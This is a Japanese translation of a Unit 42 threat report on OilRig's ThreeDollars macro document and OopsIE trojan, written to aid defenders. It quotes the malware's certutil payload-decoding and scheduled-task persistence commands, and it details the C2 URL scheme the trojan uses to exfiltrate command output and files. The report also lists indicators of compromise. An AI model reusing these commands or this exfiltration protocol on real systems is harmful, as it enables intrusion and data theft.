※本記事は2018年2月9日に米国で掲載されたブログ記事の抄訳版となります。

OilRigによる組織的な攻撃活動は依然として盛んであり、彼らが使用するツールも進化し続けています。2018年1月8日にUnit 42では、こうした脅威をもたらす活動を組織的に行っているOilRigが、中東を拠点とする保険代理店に攻撃を仕掛けたことを確認しました。そのちょうど1週間後の2018年1月16日には、中東の金融機関が攻撃されました。いずれの攻撃でも、OilRigは、Unit 42が現在も追跡している新たなトロイの木馬であるOopsIEの配信を試みていました。

1月8日の攻撃では、ThreeDollarsというドキュメントの亜種が使用され、配信されました。これは、2017年8月に発生した攻撃でOilRigが使用したツールの一部であることがわかりました。

しかし、1月16日の攻撃では、ThreeDollarsはまったく使用されませんでした。トロイの木馬OopsIEが被害者に直接配信されたのです。スピア フィッシング メールに埋め込まれたリンクが使用されたのは、ほぼ間違いないでしょう。興味深いことに、1月16日の攻撃の標的となった組織は、1年前の2017年1月にもOilRigの標的にされていました。このように攻撃が繰り返されるということは、攻撃者が標的組織での足場を失ってしまったか、その組織が標的として大きな価値を秘めていることを示唆しています。

 

新たな攻撃

2018年1月8日に、OilRigは「Beirut Insurance Seminar Invitation」(ベイルートで開催される保険セミナーのご案内)という件名の電子メールを中東の保険代理店に送りました。OilRigは、6分間のうちに同じ組織の2つの異なる電子メール アドレスに2通の電子メールを送りました。受信者の電子メール アドレスは、標的となった組織の特定の地方支店で使用されているものを装っています。

どちらの電子メールも同じアドレスから送られていました。その電子メール アドレスは、有名なグローバル金融機関のレバノンのドメインに関連付けられています。しかし、収集されたセッション データによると、送信者の電子メール アドレスはされていた可能性が非常に高いのです。そうした電子メールにはSeminar-Invitation.docという名前のファイルが添付されています。このファイルこそ、私たちが追跡している悪意のあるMicrosoft Wordドキュメント、すなわちThreeDollarsです。このThreeDollarsのサンプルを調べてみると、私たちがOopsIEと名付けた新たなペイロードが埋め込まれていることがわかります。

2018年1月16日の攻撃では、OilRigが2017年1月にも標的にしたことのある組織を攻撃したことが確認されました。今度は、ThreeDollarsというドキュメントは使用されず、配信されませんでした。そして、電子メールのリンクを介した場合と同様に、トロイの木馬OopsIEが標的の組織に直接配信されたのです。このトロイの木馬は、OopsIEのコマンド&コントロール(C&C)サーバから直接ダウンロードされるようになっており、このサーバがステージングにも使用されたことがわかります。つまり、この組織が2017年1月の攻撃の標的にされた後でOilRigの既知の手法(この場合は、悪意のあるマクロを埋め込んだドキュメントの配信)への対策を済ませていたために、OilRigの攻撃者が別の方法で配信しようとした可能性があります。

また、2017年1月15日にstrategy preparation.dotというファイル名で作成された、ThreeDollarsの別のサンプルも確認されました。このサンプルはSeminar-Invitation.docというサンプルによく似ていますが、いくつかの大きな違いがあります。主な違いは、このサンプルが暗号化され、パスワードで保護されていて、被害者がパスワードの入力を要求されることです。そうしたパスワードは、おそらく攻撃者がドキュメントを表示するために設定したものでしょう。これは目新しい方法ではありませんが、OilRigのプレイブックで使用されているのが確認されたのはこれが初めてです。通常、パスワードで保護されたドキュメントは、攻撃者がパスワードの要件を満たしたうえで、自動化された分析メカニズムを回避して逃れるための手段として使用されます。OilRigの追跡を通じて、実証された方法を用いることが長い間一般的だったことが確認されました。

 

ThreeDollars文書の分析

これらの攻撃で弊社が収集したThreeDollarsのサンプルは、2017年10月に分析した最初のサンプルと酷似しています。例えば受信者をだまして「Enable Content(コンテンツを有効化)」ボタンをクリックさせ、悪意のあるマクロを実行するために疑似餌(ルアー)として使用された画像にも同じものが利用されています。2018年1月の攻撃で使用されたこの画像は、各サンプルでまったく同じであったことがファイル ハッシュによって確認されています。

 

図1に、最新の攻撃から抽出したルアー画像と、弊社が分析した最初のサンプルで使用されたルアー画像を示します。同じ攻撃者グループによる攻撃で一定期間同じリソースが使用されることは不思議ではありませんが、これらの画像がいかに似ているか細かく分析しました。

 

     

図1 2017年10月と2018年1月の攻撃でThreeDollarsで使用されたおとり画像を比較 

  

一見して、これらの画像がきわめて似ていることがわかりますが、いくつかの明確な違いがあります。たとえば2017年8月の攻撃で使用された画像は明らかに大きく、3508 x 4961ピクセルの画像解像度を使用しており、300 dpiのA3用紙1枚と同じ解像度です。また、Microsoftのロゴや「against unauthorized use」というテキストなどのアーティファクト(痕跡、遺物)がイメージに追加されています。比較すると、最新のルアー画像は、文書の制約でサイズを合わせるために水平方向に変形されているようです。また「This document is protected」の後のピリオドの位置もずれています。

 

これら2つの画像を重ねて比較し、最新画像の変形具合を勘案すると、最新のものは2017年8月の画像をトリミングした編集版の可能性が高いということができます。

 

 

両画像で使用されたカラー コード(#da3b01)を調べても、これらがまったく同じであることを示しています。最新画像の大きさは、古い10月のものの約40%なので、作成者は新しい画像をトリミング後、さらにサイズ調整したと考えられます。元画像に見られる特異なアーティファクトとして「against」という単語における「st」 (Unicode \uFB06)の 合字の使用があげられます。これは一般にはほとんど見られないグリフで、標準的なキーボードレイアウトではまず使用できません。このことから、この文字列は、キーボードから直接入力されたのではなく、機械によって生成されたと考えられます。また、このようなグリフを使用していることから、作成者が英語を母国語として話す人物ではないと推測されます。

 

悪意のあるマクロの分析

被害者がThreeDollars文書を開くと、ルアー画像が提示され、「Enable Content(コンテンツを有効化)」ボタンをクリックするように促されます。ボタンをクリックすると、悪意のあるマクロが密かに実行され、システムにペイロードがインストールされ、実行されます。また、悪意のある活動に対する不信感を軽減するために、被害者に対し、さらにおとりの画像が表示されます。被害者に最終的に提示されるおとりメッセージは、配信された電子メールで提示される、保険セミナーの招待として予測されるような内容ではありません。実際には、Word文書内に図2に示すような「NullRefrencedException! error has occurred in user32.dll by 0x32ef2121」という偽のエラー メッセージが表示されます。


図2 ThreeDollars配信文書の悪意のあるマクロによって表示されるおとりメッセージ

 

図2のおとりメッセージを表示する一方で、マクロは###$$$という区切り文字を探して文書を検索し、この区切り文字の後のbase64エンコード化テキストを%APPDATA%\Base.txtというファイルに書き込みます。次にマクロは、1分間待機してから実行されるSecurityAssistというスケジュール タスクを作成します。SecurityAssistタスクは、以下のコマンド ライン コマンドを実行します。このコマンドは、Certutilアプリケーションを使用して、Base.txt内のbase64エンコード化データをデコードして、デコードされたデータを%PROGRAMDATA%\IntelSecurityAssistManager.exeというファイルに保存します。

 

cmd.exe /c Certutil -decode %appdata%\Base.txt %programdata%\IntelSecurityAssistManager.exe & SchTasks /Delete /F /TN SecurityAssist

 

また、マクロは、2番目のスケジュールされたタスクConhostを作成します。このタスクは、2分待機した後にVBScript %APPDATA%\chkSrv.vbsを実行します。マクロはchkSrv.vbsスクリプトをシステムに保存します。これはIntelSecurityAssistManager.exeペイロード(OopsIEトロイの木馬)を実行し、2つのスケジュールされたタスク、Base.txtファイル、ThreeDollars文書、およびchkSrv.vbsスクリプトを削除してインストールをクリーンアップする責任を担っています。

 

OopsIEトロイの木馬の分析

これらの攻撃で配信されるOopsIEトロイの木馬は、SmartAssemblyによって圧縮され、さらにConfuserEx v1.0.0によって難読化されています。システム上で持続的に実行するために、トロイの木馬は最初にVBScriptファイルを作成します。

SpecialFolder.CommonApplicationData\srvResesponded.vbs

以下が含まれます。

CreateObject("WScript.Shell").Run("%app%")

トロイの木馬は、上記VBScript内の%app%文字列を実行可能ファイルへのパスで置き換えます。最後に、トロイの木馬はスケジュールされたタスクを作成し、%path%文字列をsrvResesponded.vbs VBScriptへのパスで置き換えた後に、コマンドプロンプトで次のコマンドを実行して、3分ごとに自身を実行します。

 

SchTasks /Create /SC MINUTE /MO 3 /TN "InetlSecurityAssistManager" /TR "wscript %path%" /f

トロイの木馬は、HTTP、特にInterop.SHDocVwと呼ばれる埋め込まれたMicrosoft .NET Frameworkアセンブリ内のInternetExplorerアプリケーション オブジェクトを使用してC2サーバと通信します。トロイの木馬は、S1とS2という2つのリソースのコンテンツを連結することでこの埋め込まれたアセンブリを抽出して読み込み、結果のデータをGZipStreamクラスを使用して解凍します。最終的なInterop.SHDocVw .NETアセンブリはSmartAssemblyによって圧縮され、さらにConfuser v1.9.0.0を使用して難読化されます。リソースを連結して埋め込まれたアセンブリを作成する方法は、OilRigグループの新しい手法ではなく、2017年10月にも埋め込まれたライブラリJoiner.dllとInner.dllを作成するために彼らのISMInjectorツール内で使用されています。

InternetExplorerアプリケーション オブジェクトを使用することで、すべてのC2関連の要求が、正規のブラウザから送信され、カスタムUser-Agentsなどの特異なフィールドは要求に含まれていないように見えます。OopsIEトロイの木馬は、次でホストされているC2サーバを使用するように設定されています。

www.msoffice365cdn[.]com

トロイの木馬は、C2サーバと通信するための特定のURLを作成し、C2サーバの応答を解析して、タグ<pre>と</pre>の間のコンテンツを検出します。以下のイメージに示すように、初期HTTPリクエストはビーコンとして動作します。

 

 

上記の要求でわかるとおり、トロイの木馬は以下の構造をもつビーコンのURLを生成します。

http://<c2 domain>/chk?<hex(Environment.UserName/Environment.MachineName)>

トロイの木馬はこのURLにリクエストを発行してチェックし(そのため、URL内にchk文字列がある)、C2サーバがトロイの木馬を実行させるためのコマンドを保持しているかどうかを判別します。C2サーバは、追加のコマンドを提供したい場合、値<hex(Environment.UserName/Environment.MachineName)>をエコーすることで、トロイの木馬のリクエストに応答します。C2サーバが適切なエコー データで応答しない場合、トロイの木馬はSpecialFolder.CommonApplicationDataフォルダにsrvCheckresponded.tmpという名前のファイルを作成し、それに何も書き込まずに終了します。

 

C2サーバが適切なエコー データで応答した場合、トロイの木馬は次のURLにリクエストを発行して、C2がどのコマンドを実行しようとしているか判別を試みます。

http://<c2 domain>/what?<hex(Environment.UserName/Environment.MachineName)>

whatコマンドの発行後、トロイの木馬は、C2の応答を解析し、文字列「Oops」の有無を検索します。「Oops」が検出された場合、トロイの木馬はC2になんらかの問題があったたものとして処理を終了します。トロイの木馬が処理を終了しなかった場合、サーバはコマンドに続け、区切り文字<>で分離された一連のパラメータで応答します。

[command]<>[parameters for command in hexadecimal format]

使用可能なコマンド:

 

 コマンド

 説明

 1

 コマンドを実行する

 2

 ファイルをアップロードする

 3

 指定されたファイルをダウンロードする


各コマンドのパラメータは16進形式で発行されます。たとえば、文字Aは、この文字の16進表記である2文字41で表されます。この16進形式は、このトロイの木馬全体を通じて広く使用されています。

実行コマンド(1)は付加されたコマンド パラメータを使用してプロセスcmd.exe /cを作成し、コマンドの出力を16進形式でファイル%APPDATA%\tmpCa.vbsに書き込みます。その後、トロイの木馬はこのファイルの16進形式のコンテンツを1500バイトのブロック単位で読み取り、それぞれの1500バイトのデータを、次の構造をもつURLへのHTTP GETリクエストを介して、ファイルからC2サーバへ送信します。

http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(command prompt output)>

アップロードコマンド(2)は、C2によって提供されたデータを指定されたファイルに書き込みます。このコマンドに指定されるパラメータには、バイナリデータとファイル名の16進値が含まれ、それぞれ区切り文字(!)で分離されています。トロイの木馬は、以下のように構造化されたURLを送信してC2に応答し、正常にアップロードされたことを通知します。

http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex("File Uploaded")>

ダウンロードコマンド(3)は、指定されたファイルのコンテンツを読み取り、データをC2サーバへ送信します。ファイルが存在しない場合、トロイの木馬は以下のURLを送信して、C2サーバにメッセージ< File Not Found >を送信します。

http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex("< File Not Found >")>

ファイルが存在する場合は、トロイの木馬は指定されたファイルのコンテンツを読み取り、GZipStreamクラスを使用してコンテンツを圧縮します。その後、トロイの木馬は圧縮されたデータの16進値を取得し、各行の以下の16進値をASCII文字で置き換え、さらにデータを圧縮します。

 

 16進値の文字列

 文字の置換

 000000

 z

 00000

 x

 0000

 y

 000

 g

 00

 w

 01

 t


その後、トロイの木馬は、1500バイトの16進形式のデータを1行に1ブロックずつ、SpecialFolder.CommonApplicationDataフォルダ内の一時ファイルに書き込みます。

<day><hour><second><millisecond>.tmp

トロイの木馬は、この一時ファイルから各行を読み取り、以下のように構造化されたURLへ要求を発行することで、それらをC2サーバへ送信します。

http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>ABZ<hex(1500 characters of hexadecimal formatted file contents)>

一時ファイル内の16進形式のデータ行がすべてC2サーバへ送信されると、トロイの木馬はC2サーバに要求を送信して、以下のように構造化されたURLを介して、データが正常に送信されたことを通知します。

http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>ABZFinish

 

以前のOilRigグループ攻撃との重複

2016年5月以降、私たちは継続してOilRigグループに関連付けられたさまざまな攻撃とツールを監視し、明らかにしてきました。このグループによって使用された新しいツールを発見すると、常に、以前に使用されたツールやインフラストラクチャと重複するアーティファクトが使用されていることがわかります。単一の攻撃者を想定している場合はこのような共通する特徴は驚くに値しません。効率性のためか、怠慢のせいかに関わらず、攻撃者がいかに頻繁に特定の戦略や手法を繰り返し使用しているかを示している良い例です。

上記で説明した攻撃では、それまでに知られていなかったC2(コマンド&コントロール)ドメインを使用して新しいペイロードが配信された様子を観測しました。ただし、継続して証拠の痕跡を辿っていくと、OilRigグループからの過去の攻撃や共通のアーティファクトへの直接的なリンクが見つかりました。もっとも明白なリンクは、以前に異なる文書の配信を観察したことがある、ThreeDollars配信文書の再利用です。しかし、C2ドメインmsoffice365cdn[.]comによって開始される他のOilRigグループ攻撃へのその他の接続も検出されています。

WHOISレコードで始まる、emilia.jones@mail.ruによって登録されたドメインも観察されています。この電子メール アドレスに登録されているその他のドメインを調べると、以前に2017年10月にOilRig C2に関連して特定したドメインoffice365-management[.]comが明らかになりました。引き続きWHOISレコードを調べ、かなり固有の電話番号もそのレコードで使用されていることがわかりました。それは、leonard.horner@mail.ruに登録されたドメインoffice365-technical[.]infoのもう1つのWHOISレコードでのみ見つかりました。関係リンクとドメイン名のテーマの共通性に基づき、このドメインと登録者もOilRigグループに起因していると強く確信する理由を得ました。

特定されたドメインを解決してIPアドレスを調べると、ここでも有益な結果が得られました。Msoffice365cdn[.]comを解決すると80.82.79.221になり、これはoffice365-technical[.]infoを解決した80.82.79.240と同一のクラスCネットワーク範囲に含まれます。さらに、80.82.79.221は他のIPアドレスのいくつかとSSL証明書を共有していて、そのうちの1つは185.162.235.29だということもわかりました。このIPを解決するとoffice365-management[.]comになります。これはemilia.jones@mail.ru名義で登録されたドメインのうちの1つです。185.162.235.0/24のクラスCネットワークを調べたところ、このネットワークに属するIPの1つがOilRigにまつわるドメインに解決されることがわかりました。そのドメイン名は、私たちが2017年8月に特定したmsoffice-cdn[.]comです。

最後に、配信された文書そのものを分析します。この文書はThreeDollarsツールの亜種と判明し、おとりとして文書内に使われた画像は、以前使われたものと比較して分析されました。しかし、このサンプルおよび攻撃と、OilRigのものと考えられる、以前のツールおよび攻撃とのつながりを強めるアーティファクトが、さらに存在します。今回のケースでは、収集されたThreeDollarsサンプルの1つが、J-Win-7-32-Vmという独自の作成者名を含んでいました。この作成者名は、以前にも1度使われたことが確認されています。それは私たちが一番初めに収集したThreeDollars文書においてであり、これについては2017年8月に報告しました。

 

 

結論

OilRigグループは、中東地域におけるきわめて活発な攻撃者であり続けています。このグループは、戦略を積極的に適応および進化させようとする徴候をたびたび示していますが、いくつかの特徴を再利用してもいます。私たちはこれまで、OilRigによって配置された多数のツールを確認してきました。これらのツール1つ1つは、過去に使われたものを再利用した、亜種のようなものと思われます。しかし、ツールそのものは時間とともに変化したものの、攻撃のライフサイクルを通して調べると、OilRigのプレイブックで実行されるプレイは大部分が変わらないままです。このプレイはOilRigのプレイブックに追加されました。このプレイブックは弊社のプレイブック ビューアーから、オンラインでご覧いただけます。

Palo Alto Networksのお客様は、以下の製品によってこの脅威から保護されています。

  1. WildFireはThreeDollarsおよびOopsIEについて、悪意があると判断したペイロードすべてを検出します。
  2. AutoFocusをご使用のお客様は、ThreeDollarsおよびOopsIEタグで、これらのツールについて調べることができます。
  3. Trapsは、ThreeDollarsによる配信文書やOopsIEのペイロードをブロックします。
  4. PanAVはThreeDollarsのサンプルをVirus/Win32.WGeneric.pefia、OopsIEのペイロードをVirus/Win32.WGeneric.pipwfとして検出します。

 

IOC

ThreeDollars の SHA256 値

ec3f55cac3e8257d6d48e5d543db758fed7d267f14f63a6a5d98ba7a0fab6870

81eb43ad46ed39bd4b869c709e5e468a6fc714485da288aaa77c80291ce6db8c

 

OopsIE の SHA256 値

9a040cdd7c9fcde337b2c3daa2a7208e225735747dd1366e6c0fcbc56815a07f

231115a614c99e8ddade4cf4c88472bd3801c5c289595fc068e51b77c2c8563f

 

OopsIE の C2 サーバー

www.msoffice365cdn[.]com

 

関連するインフラストラクチャ

office365-management[.]com

office365-technical[.]info

msoffice-cdn[.]com

80.82.79.221


 

PA-800 Series

主なセキュリティ機能: すべてのアプリケーションをすべてのポートで常時識別 • 使用されているポートや暗号化(SSLまたはSSH)、セキュリティの回避技術に関わらず、アプリケーションを識別します。 • 許可、拒否、スケジュール、スキャン、帯域制御の適用などのセキュリティ ポリシー決定の要素として、ポートではなくアプリケーションを使用します。 • 不明なアプリケーションを、ポリシー制御、脅威のフォレンジック、またはApp-ID™アプリケーション識別テクノロジの開発が行えるよう分類します。
  • 1
  • 9249

PA-5200 Series

パロアルトネットワークス® PA-5200 Seriesの次世代ファイアウォール アプライアンスは、PA-5260、PA-5250、PA-5220から構成されており、高速データセンター、インターネット ゲートウェイ、およびサービス プロバイダでの導入に適しています。PA-5200シリーズは、ネットワーキング、セキュリティ、脅威からの防御と管理の重要な機能領域専用の処理機能とメモリを使用して、最大80Gbpsのスループットを提供します。
  • 0
  • 4661

PA-220

主なセキュリティ機能: すべてのアプリケーションをすべてのポートで常時識別 • 使用されているポートや暗号化(SSLまたはSSH)、セキュリティの回避技術に関わらず、アプリケーションを識別します。 • 許可、拒否、スケジュール、スキャン、帯域制御の適用などのセキュリティ ポリシー決定の要素として、ポートではなくアプリケーションを使用します。 • 不明なアプリケーションを、ポリシー コントロール、脅威のフォレンジック、またはApp-ID™アプリケーション識別テクノロジーの開発が行えるよう分類します。
  • 0
  • 3231

2018 年のセキュリティ脅威予測とベストプラクティス

2017年のセキュリティの振り返りに引き続き、パロアルトネットワークスが2017年までの傾向から見る、2018年の主なセキュリティ脅威予測とベストプラクティスについて紹介します。
Palo Alto Networks,
  • 0
  • 1352

EncodedCommandによるPowerShell攻撃を暴く

PowerShellは過去数年間で人気を獲得し続けていますが、それはこのフレームワークが発達し続けているからです。したがって、PowerShellを多くの攻撃で見かけるようになっていても少しも驚くことではありません。PowerShellはシステム上の広範囲にわたる機能を攻撃者にネイティブなものとして提供します。有害なPowerShellツールが溢れかえっている現状をざっと見渡してみると、PowerShellの伸びを示す十分な兆候が見て取れます。
  • 0
  • 2239